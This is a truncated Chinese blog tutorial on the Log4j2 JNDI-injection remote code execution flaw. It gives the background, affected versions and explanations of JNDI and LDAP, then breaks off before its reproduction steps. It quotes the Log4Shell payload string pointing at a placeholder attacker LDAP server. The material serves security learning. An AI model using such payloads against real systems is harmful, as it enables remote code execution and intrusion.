log4j2漏洞原理和漏洞环境搭建复现

目录

1.背景

1.1影响版本

2.漏洞原理

2.1JNDI是什么

2.2LDAP是什么

2.3JNDI注入原因

2.4 log4j2是什么

3.漏洞复现

3.1准备工作

3.1.1准备恶意代码

3.1.2将恶意代码放到网站目录下

3.1.3 LDAP服务器端

3.1.4客户端搭建

3.1.5 执行代码

 4.注意事项

1.背景

部分资源在文章最后百度网盘

2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。阿里云应急响应中心提醒 Apache Log4j2 用户尽快采取安全措施阻止漏洞攻击。

log4j2远程代码执行漏洞主要由于存在JNDI注入漏洞,黑客可以恶意构造特殊数据请求包,触发此漏洞,从而成功利用此漏洞可以在目标服务器上执行任意代码。注意,此漏洞是可以执行任意代码,这就很恐怖,相当于黑客已经攻入计算机,可以为所欲为了,就像已经进入你家,想干什么,就干什么,比如运行什么程序,植入什么病毒,变成他的肉鸡。

1.1影响版本

Log4j2.x<=2.14.1

2.漏洞原理

我们在很多漏洞复现文章看到构造的payload是这样的${jndi:ldap://xxx.xxx.xxx.xxx:1389/Ex},很多时候看不懂为什么要这样构造,最起码我在学习这个漏洞的时候我是不知道为什么这样构造payload。如果你刚接触安全不久,我相信你也会有这样的疑惑,那么下面我就用我的理解解释一下,大家参考,不一定全部都是对的。

2.1JNDI是什么

JNDI全称是Java Naming and Directory Interface(java命名和目录接口)JNDI是Java平台的一个标准扩展,提供了一组接口、类和关于命名空间的概念。如同其它很多Java技术一样,JDNI是provider-based的技术,暴露了一个API和一个服务供应接口(SPI)。这意味着任何基于名字的技术都能通过JNDI而提供服务,只要JNDI支持这项技术。JNDI目前所支持的技术包括LDAP、CORBA Common Object Service(COS)名字服务、RMI、NDS、DNS、Windows注册表等等。很多J2EE技术,包括EJB都依靠JNDI来组织和定位实体。
我简单说一下它就像一个映射关系库,里面有很多资源,每个资源对应一个名字,当我查看这个名字时候,就会提供对应资源。将资源和名字进行了一对一映射。一些基本操作,发布服务bind(),查找服务lookup()。

2.2LDAP是什么

LDAP全称是Lightweight Directory Access Protocol( 轻型目录访问协议),LDAP可以理解是一个简单存储数据的数据库,不过它是树状结构的,树形结构存储数据,查询效率更高。如果你想找到一个苹果,需要跟园丁说那个树,经过那些分叉以及苹果名字。有的时候分叉不止一个。

树(dc=ljheee)
分叉(ou=bei,ou=xi,ou= dong)
苹果(cn=redApple)

LDAP有一个客户端和服务器端,server端是用来存放资源,client端主要用于查询等操作。服务端都是有各大厂商的产品的比如Microsoft的AD,当然可以自己做。我们通过LDAP协议去访问。

所以上述的payload ${jndi:ldap://xxx.xxx.xxx.xxx:1389/Ex}就相当于ldap通过jndi来提供服务。xxx.xxx.xxx.xxx这个是你LDAP服务器端的IP地址,LDAP服务器是默认开启1389端口的,EX是一个不存在的文件名

2.3JNDI注入原因

第一个是由于JN

评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值